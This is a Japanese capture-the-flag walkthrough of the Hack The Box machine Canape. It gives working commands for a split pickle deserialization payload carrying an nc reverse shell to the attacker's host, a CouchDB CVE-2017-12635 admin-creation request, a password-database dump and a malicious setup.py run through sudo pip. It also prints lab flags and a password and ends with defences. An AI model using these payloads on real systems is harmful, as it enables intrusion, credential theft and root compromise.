Hack The BoxのWriteup(Canape)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Canape — 全実行コマンド・実行結果レポート
Nmap スキャン
80(http)のみ
.git/HEAD 露出発見
ソースコード復元
cPickle デシリアライズRCE
character/quote分割ペイロード
www-data リバースシェル
CouchDB CVE-2017-12635
roles重複キーでadmin昇格
passwords DB全件ダンプ
homerのSSHパスワード
user.txt ✓
sudo pip install .
悪意setup.pyでroot
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 80 10.129.229.137
RESULT (実データ)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache/2.4.29 (Ubuntu)
ℹ️
全ポートスキャンでも80/tcpのみが外部に公開されている。SSHは65535/tcpという 非標準ポートで稼働しており(後のフェーズで判明)、標準的なポートスキャン範囲だけでは 見落としやすい点に注意。

Webアプリの確認

BASH
curl -s http://10.129.229.137/
RESULT (実データ、抜粋)
<title>Simpsons Fan Site</title>
<p>CouchDB-powered quotes database. That means your quotes are coming at
you faster than ever!</p>
<a href="/quotes">View Quotes</a>
<a href="/submit">Submit Quote</a>
ℹ️
「シンプソンズファンサイト」を模したFlaskアプリ。バックエンドにCouchDBを 使っている旨がトップページに明記されており、後のフェーズで重要な手掛かりとなる。
PHASE 2

.git 漏洩からのソース復元 & cPickle RCE発見

.git ディレクトリの公開を確認

BASH
curl -s --max-time 10 http://10.129.229.137/.git/HEAD
RESULT (実データ)
ref: refs/heads/master
🚨
.gitディレクトリがWeb経由で丸ごと閲覧可能。git-dumper等の ツールで.gitオブジェクトを全て回収すれば、アプリケーションの 完全なソースコード(コミット履歴含む)を復元できる。
BASH
git-dumper http://10.129.229.137/.git output/
cd output/ && git log --all --oneline

ソースコード解析: /check エンドポイントのcPickleデシリアライズ

NOTE
復元したFlaskソースを読むと、/submit で受け取った character/quote を
組み合わせてサーバー側でシリアライズし、Cookie(id)としてクライアントへ
返す。/check エンドポイントはそのCookie値をBase64デコードした上で
Python 2のcPickleモジュールでデシリアライズしている。

pickleはデシリアライズ時に任意のオブジェクトの__reduce__メソッド呼び出しを
許してしまう既知の危険な仕様であり、`os.system(...)`を呼び出すオブジェクトを
pickle化してCookieに仕込めば、デシリアライズと同時に任意コマンドが実行される
(Insecure Deserialization → RCE)。
ℹ️
HTMLコメント内にc8a74a098a60aaea1af98945bd707a7eab0ff4b0 - temporarily hide check という記述があり、/checkエンドポイント自体はナビゲーションから 隠されているだけで、URLを直接叩けば依然としてアクセス可能なことが分かる。

character/quote分割によるpickleペイロード注入

NOTE
アプリはcharacterフィールドに人物名らしき文字列(例: "Homer")のみを
許可するバリデーションを行っているため、pickleペイロードをそのまま
characterへ詰め込むことはできない。一方でサーバー側の実装は
「character + quote」を単純に文字列連結してからpickle化するため、
protocol 0(テキストベース、改行区切り)のpickleオペコード列を
character側とquote側の2つのフィールドにまたがって分割して送り込む
ことで、連結後に正しいpickleバイト列が再構成されるようにできる。
BASH (実際に使用したリクエスト)
curl -s --max-time 15 \
  --data-urlencode 'character=cposix
system
p0
(Vhomer' \
  --data-urlencode 'quote=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f
p1
tp2
Rp3
.' \
  http://10.129.229.137/submit
ℹ️
characterフィールドはcposix\nsystem\np0\n(Vhomerで終わっており、 末尾が”homer”という人名っぽい文字列になっているためバリデーションを通過する。 quoteフィールド側で残りのpickleオペコード(mkfifoベースのリバースシェル ワンライナーをos.system相当で実行させる文字列引数の続き+pickle終端)を 続けることで、2つのフィールドを結合した全体が正しいcposix system\n... (=os.system(...)相当)のpickle protocol 0バイト列になる。
BASH (リスナー準備 & トリガー)
# 別ターミナルでリスナー待機
nc -lnvp 4444

# /check エンドポイントへアクセスしCookieをデシリアライズさせトリガー
curl -s --max-time 15 --data-urlencode id=<登録時に返されたCookie値> \
  http://10.129.229.137/check
RESULT (実データ)
[+] リバースシェル受信 from ('10.129.229.137', 57890)
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功! Flaskアプリの実行ユーザー(www-data)権限で リバースシェルを確立した。
PHASE 3

CouchDB CVE-2017-12635 → passwords DB全件ダンプ → user.txt

ローカル限定のCouchDBを発見

BASH (リバースシェル内)
$ ps aux | grep couch
$ curl -s 127.0.0.1:5984/
🚨
127.0.0.1:5984限定でApache CouchDB(2.1.0未満)が稼働している。 このバージョンはCVE-2017-12635(ユーザードキュメントの roles権限昇格脆弱性)に該当する。

CVE-2017-12635: roles重複キーでadmin作成

NOTE
CouchDBのErlang側バリデーションロジックは、JSONボディ中の"roles"キーが
複数存在する場合、そのうち1つ目の値(この例では
["_admin"])を見て「admin権限を付与しようとしている」ことを検知し拒否
しようとする。ところが実際にドキュメントとして保存される段階では、
CouchDBが内部で使うMochiweb JSONパーサの挙動により、1つ目の
"roles":["_admin"] がそのまま採用されてしまう(バリデーションと実際の
保存処理とで参照するキーの位置がズレているバグ)。この不整合を突けば、
admin権限チェックをすり抜けて任意ユーザーをadmin化できる。
BASH (リバースシェル内, 実際に使用したコマンド)
$ curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:pwn \
  --data-binary '{"type": "user","name": "pwn","roles": ["_admin"],"roles": [],"password": "pwn123"}'
ユーザーpwnが実質的にadmin権限を持つアカウントとして作成される。

passwords DBを全件ダンプしhomerのパスワードを発見

BASH (リバースシェル内)
$ curl -s 127.0.0.1:5984/passwords/_all_docs --user pwn:pwn123
$ curl -s 127.0.0.1:5984/passwords/<doc_id> --user pwn:pwn123
RESULT
passwords DB ドキュメント 4 件発見
ℹ️
admin権限が手に入ったことで、それまで隠されていたpasswordsという データベースが見えるようになる。4件のドキュメントの中に、SSHログインユーザー homerの平文パスワードが含まれていた。

SSHログイン → user.txt

BASH (実際に使用したコマンド)
sshpass -p '0B4jyA0xtytZi7esBNGp' ssh -p 65535 homer@10.129.229.137 cat /home/homer/user.txt
RESULT (実データ)
9b80c0b154e22c4371feea2b5d6737bc
ℹ️
SSHは標準の22番ではなく65535番ポートで待ち受けている点に注意。
user.txt — homer
9b80c0b154e22c4371feea2b5d6737bc
PHASE 4

sudo pip install の悪用 → root.txt

sudo権限の確認

BASH (実際に使用したコマンド)
echo '0B4jyA0xtytZi7esBNGp' | sudo -S -l
RESULT (実データ)
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
🚨
落とし穴: このsudoエントリは NOPASSWD ではない。 homer自身のパスワードでの認証が毎回必要になる。TTYが割り当てられていない 非対話SSHセッション(ssh user@host "sudo -l"のように単発コマンドとして 実行した場合)で素のsudoを呼ぶと、 sudo: no tty present and no askpass program specifiedで即座に失敗する。 対策: echo '<password>' | sudo -S <cmd>のように -Sオプションでパスワードを標準入力から読ませれば、TTYが無くても 問題なく認証できる。

悪意setup.pyでroot権限のコマンド実行

NOTE
pip installはsetup.pyを実行してパッケージをビルド・インストールする
仕組みを持つ。sudoで`pip install .`(カレントディレクトリのパッケージを
指定)を実行できる場合、そのディレクトリのsetup.py自体がroot権限で
実行されることになる。setup.py内に任意のPythonコードを仕込めば
root権限のコード実行に直結する。
PYTHON (setup.py の内容)
import os
os.system("cp /root/root.txt /home/homer/root.txt; chmod 644 /home/homer/root.txt")
BASH (実際に使用したコマンド一式)
mkdir -p /home/homer/.canape_pip_pwn && cd /home/homer/.canape_pip_pwn && \
printf 'import os\nos.system("cp /root/root.txt /home/homer/root.txt; chmod 644 /home/homer/root.txt")\n' > setup.py && \
echo '0B4jyA0xtytZi7esBNGp' | sudo -S /usr/bin/pip install . ; \
/bin/cat /home/homer/root.txt
RESULT (実データ)
81fe6d51e244aa4b65e650542d12d14d
root権限奪取成功! pip install .実行時にsetup.pyの os.system()呼び出しがroot権限で走り、/root/root.txtを homerが読める場所へコピーさせることができた。
root.txt — root
81fe6d51e244aa4b65e650542d12d14d
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — homer
9b80c0b154e22c4371feea2b5d6737bc
root.txt — root
81fe6d51e244aa4b65e650542d12d14d

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
.git ディレクトリの公開 Webルート直下の.git ソースコード全体の漏洩 High git-dumperでオブジェクトを回収しFlaskアプリのロジックを完全に把握
cPickle デシリアライズRCE /check エンドポイント リモートコード実行 (www-data) Critical character/quoteフィールドに分割したpickle protocol 0ペイロードでos.system()相当を注入
CVE-2017-12635 Apache CouchDB (<2.1.0) 権限昇格 (一般ユーザー→admin) Critical JSONボディに”roles”キーを重複させバリデーションと保存処理の不整合を突きadmin作成
sudo pip install の誤設定 /usr/bin/pip (sudoers) 権限昇格 (homer→root) High 悪意あるsetup.pyを含むディレクトリを`sudo pip install .`させroot権限でos.system()実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(80のみ) + Webアプリ確認Flask + CouchDB構成の把握
2脆弱性発見.git漏洩からのソース復元/checkのcPickleデシリアライズ脆弱性発見
3RCEcharacter/quote分割pickleペイロードwww-data権限のリバースシェル
4横移動CVE-2017-12635 + passwords DBダンプhomerのSSHパスワード、user.txt
5権限昇格sudo -S + 悪意setup.pyroot.txt

学んだ教訓 & 防御策

問題点防御策
本番Webルートに.gitディレクトリがデプロイされ外部から閲覧可能 デプロイ時に.gitディレクトリを除外する。Webサーバー設定で.gitへの直接アクセスを拒否する。
ユーザー制御可能な入力をPython 2 pickleでデシリアライズしている 信頼できない入力にはpickleを使わない。JSON等の安全なシリアライズ形式に置き換える。
古いバージョンのCouchDB(既知のCVEを含む)を使用 ミドルウェアを含め全コンポーネントを定期的にパッチ適用する。CouchDBを外部公開しないローカル限定バインドにするだけでは不十分。
sudoersで`pip install *`のような汎用的なワイルドカードを許可している sudoで許可するコマンドはワイルドカードを避け、具体的な引数まで固定する。パッケージマネージャのようにコード実行を伴うツールをsudo許可対象にしない。
HackTheBox: Canape | 完全攻略レポート